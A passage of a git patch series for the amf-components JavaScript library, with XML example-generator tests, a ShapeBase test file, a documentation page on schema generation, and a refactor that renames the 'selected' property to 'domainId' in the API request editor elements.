+  [ true, false ].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      /** @type AmfDocument */
+      let model;
+
+      before(async () => {
+        model = await loader.getGraph(compact, 'example-generator-api');
+      });
+
+      it('basic formatting and type name', () => {
+        const payload = loader.getPayloads(model, '/IncludedInType', 'post')[0];
+      
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+
+        assert.typeOf(result, 'object', 'generates the example');
+        assert.typeOf(result.renderValue, 'string', 'has the value');
+        
+        assert.include(result.renderValue, '<Person>', 'Type name is set');
+        assert.include(result.renderValue, ' <error>false</error>', 'XML is formatted');
+        assert.include(
+          result.renderValue,
+          ' <image>\n',
+          'Complex type is formatted'
+        );
+        assert.include(
+          result.renderValue,
+          ' </image>\n',
+          'Complex type is formatted at the end'
+        );
+      });
+
+      it('adds attribute to parent type (no examples)', () => {
+        const payload = loader.getPayloads(model, '/IncludedInType', 'post')[0];
+      
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: false,
+          renderOptional: true,
+        });
+        
+        assert.typeOf(result, 'object', 'generates the example');
+        assert.typeOf(result.renderValue, 'string', 'has the value');
+
+        assert.include(
+          result.renderValue,
+          '<Person error="false">',
+          'Type has attributes'
+        );
+      });
+
+      it('uses example from RAML example', () => {
+        const payload = loader.getPayloads(model, '/typeExamples', 'post')[0];
+      
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+        
+        assert.typeOf(result, 'object', 'generates the example');
+        assert.typeOf(result.renderValue, 'string', 'has the value');
+
+        assert.include(
+          result.renderValue,
+          '<firstName>Pawel</firstName>',
+          'has example value'
+        );
+        assert.include(result.renderValue, '  <firstName>', 'example is formatted');
+      });
+
+      it('uses example from property example', () => {
+        const payload = loader.getPayloads(model, '/propertyExamples', 'post')[0];
+      
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+        
+        assert.typeOf(result, 'object', 'generates the example');
+        assert.typeOf(result.renderValue, 'string', 'has the value');
+        
+        assert.include(result.renderValue, '<zip>00000</zip>', 'has example value');
+        assert.include(result.renderValue, '<street></street>', 'has default empty value');
+        assert.include(
+          result.renderValue,
+          '    <street></street>',
+          'example value is formatted'
+        );
+      });
+
+      it('renders array types', () => {
+        const payload = loader.getPayloads(model, '/ArrayType', 'post')[0];
+      
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+
+        assert.typeOf(result, 'object', 'generates the example');
+        assert.typeOf(result.renderValue, 'string', 'has the value');
+        
+        assert.include(result.renderValue, '<ArrayType>\n', 'has parent type name');
+        // the type is not wrapped so it cannot have `Image` tag.
+        // assert.include(result.renderValue, '  <Image>', 'has item type name');
+      });
+
+      it('generates examples for array type (inline included)', () => {
+        const payload = loader.getPayloads(model, '/arrayPropertyGeneratedExamples', 'post')[0];
+      
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+
+        assert.typeOf(result, 'object', 'generates the example');
+        assert.typeOf(result.renderValue, 'string', 'has the value');
+        
+        assert.include(result.renderValue, '<schema>\n', 'has parent type name');
+        assert.include(result.renderValue, '  <test>false</test>', 'has property name');
+        // the type is not wrapped so it cannot have `items` tag.
+        // assert.include(result.renderValue, '  <items>', 'has item type name');
+      });
+
+      it('generates examples for wrapped annotation', () => {
+        const payload = loader.getPayloads(model, '/wrappedXml', 'post')[0];
+      
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+
+        assert.typeOf(result, 'object', 'generates the example');
+        assert.typeOf(result.renderValue, 'string', 'has the value');
+        
+        assert.include(result.renderValue, '<Imgs>\n', 'has parent type name');
+        assert.include(
+          result.renderValue,
+          '  <something></something>',
+          'has parent properties'
+        );
+        assert.include(result.renderValue, '  <images>', 'has wrapped outer element');
+        assert.include(result.renderValue, '    <Image>', 'has wrapped object');
+      });
+
+      it('renders default name for an inline included types', () => {
+        const payload = loader.getPayloads(model, '/user-raml-example', 'post')[0];
+      
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+
+        assert.typeOf(result, 'object', 'generates the example');
+        assert.typeOf(result.renderValue, 'string', 'has the value');
+        
+        assert.include(result.renderValue, '<type>\n', 'has default name');
+        assert.include(result.renderValue, '  <id>uid1</id>', 'has properties');
+      });
+
+      it('renders RAML named example', () => {
+        const payload = loader.getPayloads(model, '/named-example', 'post')[0];
+      
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+
+        assert.typeOf(result, 'object', 'generates the example');
+        assert.typeOf(result.renderValue, 'string', 'has the value');
+        
+        assert.include(result.renderValue, '<schema>\n', 'has AMF default name');
+        assert.include(
+          result.renderValue,
+          '<countryCode>BE</countryCode>',
+          'has properties'
+        );
+      });
+
+      it('renders RAML linked named example', () => {
+        const payload = loader.getPayloads(model, '/named-linked-example', 'post')[0];
+      
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+
+        assert.typeOf(result, 'object', 'generates the example');
+        assert.typeOf(result.renderValue, 'string', 'has the value');
+        
+        assert.include(result.renderValue, '<schema>\n', 'has AMF default name');
+        assert.include(result.renderValue, '<company>\n', 'has properties');
+        assert.include(
+          result.renderValue,
+          '<countryCode>BE</countryCode>\n',
+          'has deep properties'
+        );
+      });
+
+      it('renders typed valued', () => {
+        const payload = loader.getPayloads(model, '/data-types', 'post')[0];
+      
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+
+        assert.typeOf(result, 'object', 'generates the example');
+        assert.typeOf(result.renderValue, 'string', 'has the value');
+        
+        const { renderValue } = result;
+
+        assert.include(
+          renderValue,
+          '<typeString>String example</typeString>',
+          'has string value'
+        );
+        assert.include(
+          renderValue,
+          '<typeNumber>123456</typeNumber>',
+          'has number value'
+        );
+        assert.include(renderValue, '<typeInt>1234546</typeInt>', 'has int value');
+        assert.include(
+          renderValue,
+          '<typeDecimal>10.67</typeDecimal>',
+          'has decimal value'
+        );
+        assert.include(
+          renderValue,
+          '<typeBool>true</typeBool>',
+          'has boolean value'
+        );
+        
+        assert.include(renderValue, '<typeNull></typeNull>', 'has null value');
+        assert.include(
+          renderValue,
+          '<typeNegativeInt>-12</typeNegativeInt>',
+          'has negative int value'
+        );
+        assert.include(
+          renderValue,
+          '<typeNumberFormatInt64>8</typeNumberFormatInt64>',
+          'has Int64 value'
+        );
+        assert.include(
+          renderValue,
+          '<typeNumFormatInt32>109298</typeNumFormatInt32>',
+          'has Num32 value'
+        );
+        assert.include(
+          renderValue,
+          '<typeNumFormatInt16>2</typeNumFormatInt16>',
+          'has Num16 value'
+        );
+        assert.include(
+          renderValue,
+          '<typeNumFormatInt8>1</typeNumFormatInt8>',
+          'has Num8 value'
+        );
+        assert.include(
+          renderValue,
+          '<typeIntFormatInt8>12</typeIntFormatInt8>',
+          'has Int8 value'
+        );
+        assert.include(
+          renderValue,
+          '<typeNumFormatInt>11</typeNumFormatInt>',
+          'has Num value'
+        );
+        assert.include(
+          renderValue,
+          '<typeNumFormatLong>123456789</typeNumFormatLong>',
+          'has long value'
+        );
+        assert.include(
+          renderValue,
+          '<typeNumFormatFloat>1234567.89</typeNumFormatFloat>',
+          'has float value'
+        );
+        assert.include(
+          renderValue,
+          '<typeNumFormatDouble>1234.56789</typeNumFormatDouble>',
+          'has double value'
+        );
+      });
+    });
+  });
+});
diff --git a/test/shapes/ShapeBase.test.js b/test/shapes/ShapeBase.test.js
new file mode 100644
index 0000000..c9ce3e3
--- /dev/null
+++ b/test/shapes/ShapeBase.test.js
@@ -0,0 +1,50 @@
+import { assert } from '@open-wc/testing';
+import {
+  ShapeBase,
+  nodeShapeObject, 
+  fileShapeObject, 
+  propertyShapeObject, 
+  arrayShapeObject, 
+  tupleShapeObject,
+  exampleToObject,
+  scalarShapeObject,
+  schemaShapeObject,
+  anyShapeObject,
+  unionShapeObject,
+} from '../../src/schema/shape/ShapeBase.js';
+
+describe('ShapeBase', () => {
+  describe('constructor()', () => {
+    it('sets the readonly default options', () => {
+      // @ts-ignore
+      const inst = new ShapeBase();
+      assert.typeOf(inst.opts, 'object')
+    });
+  });
+
+  describe('abstract methods', () => {
+    [
+      'generate', 'serialize',
+    ].forEach((fn) => {
+      it(`returns undefined when calling ${fn}`, () => {
+        // @ts-ignore
+        const inst = new ShapeBase();
+        const result = inst[fn]();
+        assert.isUndefined(result);
+      });
+    });
+
+    [
+      exampleToObject, scalarShapeObject, nodeShapeObject, unionShapeObject,
+      fileShapeObject, schemaShapeObject, arrayShapeObject, tupleShapeObject,
+      anyShapeObject, propertyShapeObject,
+    ].forEach((fn) => {
+      it(`returns undefined when calling a symbol`, () => {
+        // @ts-ignore
+        const inst = new ShapeBase();
+        const result = inst[fn]();
+        assert.isUndefined(result);
+      });
+    });
+  });
+});

From f446835e027e5e17cc5a5cad0fe20671e263c2dd Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Sun, 10 Oct 2021 13:26:28 -0700
Subject: [PATCH 07/36] docs: adding api schema docs page

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 docs/api-schema.md | 119 +++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 119 insertions(+)
 create mode 100644 docs/api-schema.md

diff --git a/docs/api-schema.md b/docs/api-schema.md
new file mode 100644
index 0000000..9f655e4
--- /dev/null
+++ b/docs/api-schema.md
@@ -0,0 +1,119 @@
+# API Schema
+
+A library that generates schemas from the AMF graph ld+json model.
+
+## Usage
+
+### Installation
+
+```sh
+npm install --save @api-components/amf-components
+```
+
+### Generating schemas
+
+The library takes an AMF shape as the argument, a media type of the generated schema as the other argument and generates schema depending what is defined in the model and the configuration.
+
+Scalars processing:
+
+1. If the shape is not required and `renderOptional` is not set return undefined.
+1. If there's an example and `renderExamples` is set then return parsed example value according to schema's data type
+1. If there's a default value, return the default value according to schema's data type
+1. If there's an enum value, return the first enum value according to schema's data type
+1. Otherwise return a value that is a "default" value for the given data type ('', 0, false, null).
+
+Objects are processed property-by-property as defined above.
+
+Note, that the examples take precedence over the default or enum values. This is to make example generation consistent. If examples are processed after default value or enums then the result is a mix of examples and the other two, which is not what you expect.
+
+For unions you can pass the `selectedUnions[]` configuration option which the ids of all explicitly selected union members. When the library cannot find a member in the `selectedUnions` array then it takes the first available member to process the schema.
+
+Union of a scalar and `nil` (or multiple scalars and `nil`) is treated like an optional property and it doesn't render values if `renderOptional` is not set.
+
+```javascript
+import { ApiSchemaGenerator } from '@api-components/amf-components';
+
+const shape = readAmfShapeSomehow()
+const result = ApiSchemaGenerator.asSchema(shape, 'application/json', {
+  renderOptional: true,
+  renderExamples: true,
+});
+console.log(result);
+```
+
+### Generating Monaco schemas
+
+Currently only NodeShape is supported when generating a Monaco schema.
+
+```javascript
+import { ApiMonacoSchemaGenerator } from '@api-components/amf-components';
+
+const shape = readAmfShapeSomehow();
+const reader = new ApiMonacoSchemaGenerator();
+const result = reader.generate(shape, 'https://domain.com');
+console.log(result);
+```
+
+### Reading schema values for form inputs
+
+This class reads a value that should be rendered in a form input for the generated schema.
+Note, there are two methods to read scalar and array values.
+Also, this class operates on Parameters rather than Shapes.
+
+```javascript
+import { ApiSchemaValues } from '@api-components/amf-components';
+
+const parameter = readAmfParameterSomehow();
+const result = ApiSchemaValues.readInputValue(parameter);
+console.log(result); // string, number, boolean, null, undefined, object, array
+
+const arrayResult = ApiSchemaValues.readInputValues(parameter);
+console.log(arrayResult); // list of: string, number, boolean, null, undefined, object, array
+
+const inputType = ApiSchemaValues.readInputType('http://a.ml/vocabularies/shapes#number');
+console.log(inputType); // "number"
+
+const parsedValue = ApiSchemaValues.parseScalarInput('25', numberScalarShape);
+console.log(parsedValue); // 25
+```
+
+### Reading example values from examples
+
+This class specializes in reading and processing AMF examples to a form that should be rendered to the user
+as an example value of a scheme or a property.
+
+Note, that you need to provide a media type for which generate the value for. Currently the following media types are supported:
+
+- application/json
+- application/xml
+- application/x-www-form-urlencoded
+
+```javascript
+import { ApiExampleGenerator } from '@api-components/amf-components';
+const reader = new ApiExampleGenerator();
+const shape = readAmfShapeSomehow();
+const result = reader.read(shape.examples[0], 'application/json');
+console.log(result); // a string representing a JSON value.
+```
+
+Note, when the example comes from a scalar shape the returned value is this scalar value which is not a valid JSON.
+
+## Development
+
+```sh
+git clone https://github.com/advanced-rest-client/amf-components
+cd amf-components
+npm install
+```
+
+### Running the demo locally
+
+```sh
+npm start
+```
+
+### Running the tests
+
+```sh
+npm test
+```

From 1ceb5d87496b788f74f70c688016e38d7ebccfd4 Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Sun, 10 Oct 2021 13:47:39 -0700
Subject: [PATCH 08/36] refactor: renamig selected to domainId on the editors

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 demo/api-documentation-partial.js             |  3 +-
 demo/api-documentation.js                     |  2 +-
 demo/api-editor.js                            |  2 +-
 demo/api-operation.js                         |  2 +-
 demo/api-request.js                           |  2 +-
 demo/api-resource.js                          |  2 +-
 src/elements/ApiRequestEditorElement.d.ts     |  7 ++--
 src/elements/ApiRequestEditorElement.js       | 41 +++++++++----------
 src/elements/ApiRequestElement.d.ts           | 31 +++++++-------
 src/elements/ApiRequestElement.js             | 36 ++++++++--------
 src/elements/ApiResourceDocumentElement.js    |  2 +-
 ....js => ApiResourceDocumentElement.test.js} |  4 +-
 test/http-request/APIC-289.test.js            |  2 +-
 test/http-request/APIC-298.test.js            |  2 +-
 test/http-request/APIC-689.test.js            |  2 +-
 .../ApiRequestEditorElement.test.js           | 22 +++++-----
 test/http-request/ApiRequestElement.test.js   | 38 ++++++++---------
 test/http-request/SE-12042.test.js            |  6 +--
 test/http-request/SE-12957.test.js            |  6 +--
 19 files changed, 104 insertions(+), 108 deletions(-)
 rename test/elements/{ApiResourceDocumentationElement.test.js => ApiResourceDocumentElement.test.js} (99%)

diff --git a/demo/api-documentation-partial.js b/demo/api-documentation-partial.js
index 075d384..8024b24 100644
--- a/demo/api-documentation-partial.js
+++ b/demo/api-documentation-partial.js
@@ -36,7 +36,6 @@ class ComponentDemo extends AmfDemoBase {
       'renderCustomServer',
       'summaryModel', 'partialModelDocs'
     ]);
-    // @ts-ignore
     this.store = new AmfPartialGraphStore();
     this.componentName = 'api-documentation';
     this.compatibility = false;
@@ -316,7 +315,7 @@ class ComponentDemo extends AmfDemoBase {
       <anypoint-dialog-scrollable>
         <api-request
           .amf="${this.summaryModel}"
-          .selected="${this.editorOperation}"
+          .domainId="${this.editorOperation}"
           ?compatibility="${this.compatibility}"
           urlLabel
           applyAuthorization
diff --git a/demo/api-documentation.js b/demo/api-documentation.js
index c3a09dc..0810458 100644
--- a/demo/api-documentation.js
+++ b/demo/api-documentation.js
@@ -242,7 +242,7 @@ class ComponentDemo extends AmfDemoBase {
       <anypoint-dialog-scrollable>
         <api-request
           .amf="${this.amf}"
-          .selected="${this.editorOperation}"
+          .domainId="${this.editorOperation}"
           ?compatibility="${this.compatibility}"
           urlLabel
           applyAuthorization
diff --git a/demo/api-editor.js b/demo/api-editor.js
index 346fe42..ecb9bee 100644
--- a/demo/api-editor.js
+++ b/demo/api-editor.js
@@ -219,7 +219,7 @@ class ComponentDemo extends AmfDemoBase {
       <div slot="content">
         <api-request-editor
           .amf="${amf}"
-          .selected="${selectedAmfId}"
+          .domainId="${selectedAmfId}"
           ?allowCustom="${allowCustom}"
           ?allowHideOptional="${allowHideOptional}"
           ?outlined="${outlined}"
diff --git a/demo/api-operation.js b/demo/api-operation.js
index f23b9a8..26bcb30 100644
--- a/demo/api-operation.js
+++ b/demo/api-operation.js
@@ -259,7 +259,7 @@ class ComponentPage extends AmfDemoBase {
       <anypoint-dialog-scrollable>
         <api-request
           .amf="${this.amf}"
-          .selected="${this.selectedId}"
+          .domainId="${this.selectedId}"
           ?compatibility="${this.compatibility}"
           urlLabel
           applyAuthorization
diff --git a/demo/api-request.js b/demo/api-request.js
index 3c82786..280ecdf 100644
--- a/demo/api-request.js
+++ b/demo/api-request.js
@@ -188,7 +188,7 @@ class ComponentDemo extends AmfDemoBase {
       <div slot="content">
         <api-request
           .amf="${amf}"
-          .selected="${selectedAmfId}"
+          .domainId="${selectedAmfId}"
           ?allowCustom="${allowCustom}"
           ?allowHideOptional="${allowHideOptional}"
           ?outlined="${outlined}"
diff --git a/demo/api-resource.js b/demo/api-resource.js
index aef6790..32a5cb4 100644
--- a/demo/api-resource.js
+++ b/demo/api-resource.js
@@ -246,7 +246,7 @@ class ComponentPage extends AmfDemoBase {
       <anypoint-dialog-scrollable>
         <api-request
           .amf="${this.amf}"
-          .selected="${this.selectedOperation}"
+          .domainId="${this.selectedOperation}"
           ?compatibility="${this.compatibility}"
           urlLabel
           applyAuthorization
diff --git a/src/elements/ApiRequestEditorElement.d.ts b/src/elements/ApiRequestEditorElement.d.ts
index d7eeeec..b602ea1 100644
--- a/src/elements/ApiRequestEditorElement.d.ts
+++ b/src/elements/ApiRequestEditorElement.d.ts
@@ -97,11 +97,10 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
    */
   mimeType: string;
   /**
-  * An `@id` of selected AMF shape. When changed it computes
-  * method model for the selection.
+  * The domain id (AMF's id) of an API operation.
   * @attribute
   */
-  selected: string;
+  domainId: string;
   [domainIdValue]: string;
   /**
   * When set it renders a label with the computed URL.
@@ -389,7 +388,7 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
   /**
    * @returns AMF graph model for an operation
    */
-  [computeMethodAmfModel](model: AmfDocument, selected: string): Operation|undefined;
+  [computeMethodAmfModel](model: AmfDocument, domainId: string): Operation|undefined;
 
   /**
    * Handles send button click.
diff --git a/src/elements/ApiRequestEditorElement.js b/src/elements/ApiRequestEditorElement.js
index 59e4469..81cd090 100644
--- a/src/elements/ApiRequestEditorElement.js
+++ b/src/elements/ApiRequestEditorElement.js
@@ -150,10 +150,9 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
        */
       mimeType: { type: String, reflect: true, },
       /**
-       * An `@id` of selected AMF shape. When changed it computes
-       * method model for the selection.
+       * The domain id (AMF's id) of an API operation.
        */
-      selected: { type: String },
+      domainId: { type: String },
       /**
        * When set it renders a label with the computed URL.
        */
@@ -261,21 +260,21 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
   /**
    * @returns {string} The domain id (AMF id) of the rendered operation.
    */
-  get selected() {
+  get domainId() {
     return this[domainIdValue];
   }
 
   /**
    * @param {string} value The domain id (AMF id) of the rendered operation.
    */
-  set selected(value) {
+  set domainId(value) {
     const old = this[domainIdValue];
     /* istanbul ignore if */
     if (old === value) {
       return;
     }
     this[domainIdValue] = value;
-    this.requestUpdate('selected', old);
+    this.requestUpdate('domainId', old);
     this[processSelection]();
     this.readUrlData();
     this.notifyChange();
@@ -678,12 +677,12 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
   }
 
   [processSelection]() {
-    const { amf, selected } = this;
-    if (!amf || !selected) {
+    const { amf, domainId } = this;
+    if (!amf || !domainId) {
       this.reset();
       return;
     }
-    const model = this[computeMethodAmfModel](amf, selected);
+    const model = this[computeMethodAmfModel](amf, domainId);
     if (!model) {
       this.reset();
       return;
@@ -701,15 +700,15 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
    * Searches for the current operation endpoint and sets variables from the endpoint definition.
    */
   [processEndpoint]() {
-    const { amf, selected } = this;
-    if (!selected) {
+    const { amf, domainId } = this;
+    if (!domainId) {
       this[endpointValue] = undefined;
       this[updateEndpointParameters]();
       this[computeUrlRegexp]();
       return;
     }
     const wa = this._computeWebApi(amf);
-    const model = this._computeMethodEndpoint(wa, this.selected);
+    const model = this._computeMethodEndpoint(wa, domainId);
     const factory = new AmfSerializer(amf);
     const endpoint = factory.endPoint(model);
     this[endpointValue] = endpoint;
@@ -858,7 +857,7 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
    * endpoint model is set.
    */
   [processServers]() {
-    const { selected: methodId } = this;
+    const { domainId: methodId } = this;
     const endpoint = this[endpointValue];
     const endpointId = endpoint ? endpoint.id : '';
     const servers = this._getServers({ endpointId, methodId });
@@ -871,11 +870,11 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
 
   /**
    * @param {any} model
-   * @param {string} selected
+   * @param {string} domainId
    * @returns {Operation|undefined} AMF graph model for an operation
    */
-  [computeMethodAmfModel](model, selected) {
-    if (!model || !selected) {
+  [computeMethodAmfModel](model, domainId) {
+    if (!model || !domainId) {
       return undefined;
     }
     let api = model;
@@ -884,14 +883,14 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     }
     if (this._hasType(api, this.ns.aml.vocabularies.document.Document)) {
       const webApi = this._computeWebApi(api);
-      return this._computeMethodModel(webApi, selected);
+      return this._computeMethodModel(webApi, domainId);
     }
     const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation);
     const methods = this._ensureArray(api[key]);
     if (!methods) {
       return undefined;
     }
-    return methods.find((item) => item['@id'] === selected);
+    return methods.find((item) => item['@id'] === domainId);
   }
 
   /**
@@ -987,7 +986,7 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
   serialize() {
     const op = this[operationValue];
     if (!op) {
-      throw new Error(`No API is operation defined on the editor`);
+      throw new Error(`No API operation defined on the editor`);
     }
     const method = (op.method || 'get').toUpperCase();
     const params = [];
@@ -1537,7 +1536,7 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
       outlined,
       compatibility,
       serverSelectorHidden,
-      selected,
+      domainId,
     } = this;
     return html`
     <api-server-selector
@@ -1546,7 +1545,7 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
       .amf="${amf}"
       .value="${serverValue}"
       .type="${serverType}"
-      .selectedShape="${selected}"
+      .selectedShape="${domainId}"
       selectedShapeType="method"
       autoSelect
       ?compatibility="${compatibility}"
diff --git a/src/elements/ApiRequestElement.d.ts b/src/elements/ApiRequestElement.d.ts
index cc6add7..2c11094 100644
--- a/src/elements/ApiRequestElement.d.ts
+++ b/src/elements/ApiRequestElement.d.ts
@@ -19,8 +19,8 @@ import { Oauth2Credentials } from '@advanced-rest-client/authorization';
 import { ServerType, ApiConsoleResponse, ApiConsoleRequest } from '../types';
 import { ApiRequestEvent, ApiResponseEvent } from '../events/RequestEvents';
 
-export const selectedValue: unique symbol;
-export const selectedChanged: unique symbol;
+export const domainIdValue: unique symbol;
+export const domainIdChanged: unique symbol;
 export const appendProxy: unique symbol;
 export const propagateResponse: unique symbol;
 export const responseHandler: unique symbol;
@@ -42,18 +42,18 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
    */
   amf: AmfDocument;
   /**
-  * AMF HTTP method (operation in AMF vocabulary) ID.
+  * The domain id (AMF's id) of an API operation.
   * @attribute
   */
-  selected: string;
-  [selectedValue]: string;
+  domainId: string;
+  [domainIdValue]: string;
   /**
-  * By default application hosting the element must set `selected`
-  * property. When using `api-navigation` element
-  * by setting this property the element listens for navigation events
-  * and updates the state
-  * @attribute
-  */
+   * By default application hosting the element must set `domainId`
+   * property. When using `api-navigation` element
+   * by setting this property the element listens for navigation events
+   * and updates the state
+   * @attribute
+   */
   handleNavigationEvents: boolean;
   /**
   * When set it renders the URL input above the URL parameters.
@@ -96,7 +96,7 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
   /**
   * Created by the transport ARC `response` object.
   */
-  response: ArcResponse.Response|ArcResponse.ErrorResponse;
+  response: ArcResponse.Response | ArcResponse.ErrorResponse;
   /**
   * Forces the console to send headers defined in this string overriding any used defined
   * header.
@@ -129,7 +129,6 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
   * @attribute
   */
   proxyEncodeUrl: boolean;
-  
   /**
   * ID of latest request.
   * It is received from the `api-request-editor` when `api-request`
@@ -257,9 +256,9 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
   [propagateResponse](data: ApiConsoleResponse): void;
 
   /**
-   * Clears response panel when selected id changed.
+   * Clears response panel when the `domainId` change.
    */
-  [selectedChanged](id: string): void;
+  [domainIdChanged](id: string): void;
 
   /**
    * Clears response panel.
@@ -288,5 +287,5 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
   /**
    * @returns A template for the response view
    */
-  [responseTemplate](): TemplateResult|string;
+  [responseTemplate](): TemplateResult | string;
 }
diff --git a/src/elements/ApiRequestElement.js b/src/elements/ApiRequestElement.js
index ff2e5fc..97ce7c3 100644
--- a/src/elements/ApiRequestElement.js
+++ b/src/elements/ApiRequestElement.js
@@ -37,8 +37,8 @@ import '../../api-response-view.js';
 /** @typedef {import('../events/RequestEvents').ApiResponseEvent} ApiResponseEvent */
 /** @typedef {import('../events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
-export const selectedValue = Symbol('selectedValue');
-export const selectedChanged = Symbol('selectedChanged');
+export const domainIdValue = Symbol('domainIdValue');
+export const domainIdChanged = Symbol('domainIdChanged');
 export const appendProxy = Symbol('appendProxy');
 export const propagateResponse = Symbol('propagateResponse');
 export const responseHandler = Symbol('responseHandler');
@@ -69,11 +69,11 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
        */
       amf: { type: Object },
       /**
-       * AMF HTTP method (operation in AMF vocabulary) ID.
+       * The domain id (AMF's id) of an API operation.
        */
-      selected: { type: String },
+      domainId: { type: String },
       /**
-       * By default application hosting the element must set `selected`
+       * By default application hosting the element must set `domainId`
        * property. When using `api-navigation` element
        * by setting this property the element listens for navigation events
        * and updates the state
@@ -223,19 +223,19 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
     };
   }
 
-  get selected() {
-    return this[selectedValue];
+  get domainId() {
+    return this[domainIdValue];
   }
 
-  set selected(value) {
-    const old = this[selectedValue];
+  set domainId(value) {
+    const old = this[domainIdValue];
     /* istanbul ignore if */
     if (old === value) {
       return;
     }
-    this[selectedValue] = value;
-    this.requestUpdate('selected', old);
-    this[selectedChanged](value);
+    this[domainIdValue] = value;
+    this.requestUpdate('domainId', old);
+    this[domainIdChanged](value);
   }
 
   constructor() {
@@ -439,10 +439,10 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
   }
 
   /**
-   * Clears response panel when selected id changed.
-   * @param {String} id
+   * Clears response panel when the `domainId` change.
+   * @param {string} id
    */
-  [selectedChanged](id) {
+  [domainIdChanged](id) {
     if (!id) {
       return;
     }
@@ -471,7 +471,7 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
   [navigationHandler](e) {
     if (this.handleNavigationEvents) {
       const { domainId, domainType } = e.detail;
-      this.selected = domainType === 'operation' ? domainId : undefined;
+      this.domainId = domainType === 'operation' ? domainId : undefined;
     }
   }
 
@@ -492,7 +492,7 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
   [requestTemplate]() {
     const {
       redirectUri,
-      selected,
+      domainId,
       amf,
       urlEditor,
       urlLabel,
@@ -514,7 +514,7 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
     return html`
     <api-request-editor
       .redirectUri="${redirectUri}"
-      .selected="${selected}"
+      .domainId="${domainId}"
       .amf="${amf}"
       ?urlEditor="${urlEditor}"
       ?urlLabel="${urlLabel}"
diff --git a/src/elements/ApiResourceDocumentElement.js b/src/elements/ApiResourceDocumentElement.js
index 4a91dec..fa5ca98 100644
--- a/src/elements/ApiResourceDocumentElement.js
+++ b/src/elements/ApiResourceDocumentElement.js
@@ -613,7 +613,7 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
     const content = html`
     <api-request
       .amf="${this.amf}"
-      .selected="${operation.id}"
+      .domainId="${operation.id}"
       .serverValue="${this.serverValue}"
       .serverType="${this.serverType}"
       .baseUri="${this.baseUri}"
diff --git a/test/elements/ApiResourceDocumentationElement.test.js b/test/elements/ApiResourceDocumentElement.test.js
similarity index 99%
rename from test/elements/ApiResourceDocumentationElement.test.js
rename to test/elements/ApiResourceDocumentElement.test.js
index 47a5994..573d821 100644
--- a/test/elements/ApiResourceDocumentationElement.test.js
+++ b/test/elements/ApiResourceDocumentElement.test.js
@@ -294,8 +294,8 @@ describe('ApiResourceDocumentElement', () => {
         const element = await tryItPanelFixture(demoModel, data['@id']);
         await aTimeout(201);
         const editor = element.shadowRoot.querySelector('api-request');
-        const { selected } = editor;
-        const values = element[requestValues][selected];
+        const { domainId } = editor;
+        const values = element[requestValues][domainId];
         assert.typeOf(values, 'object', 'has values for a request editor');
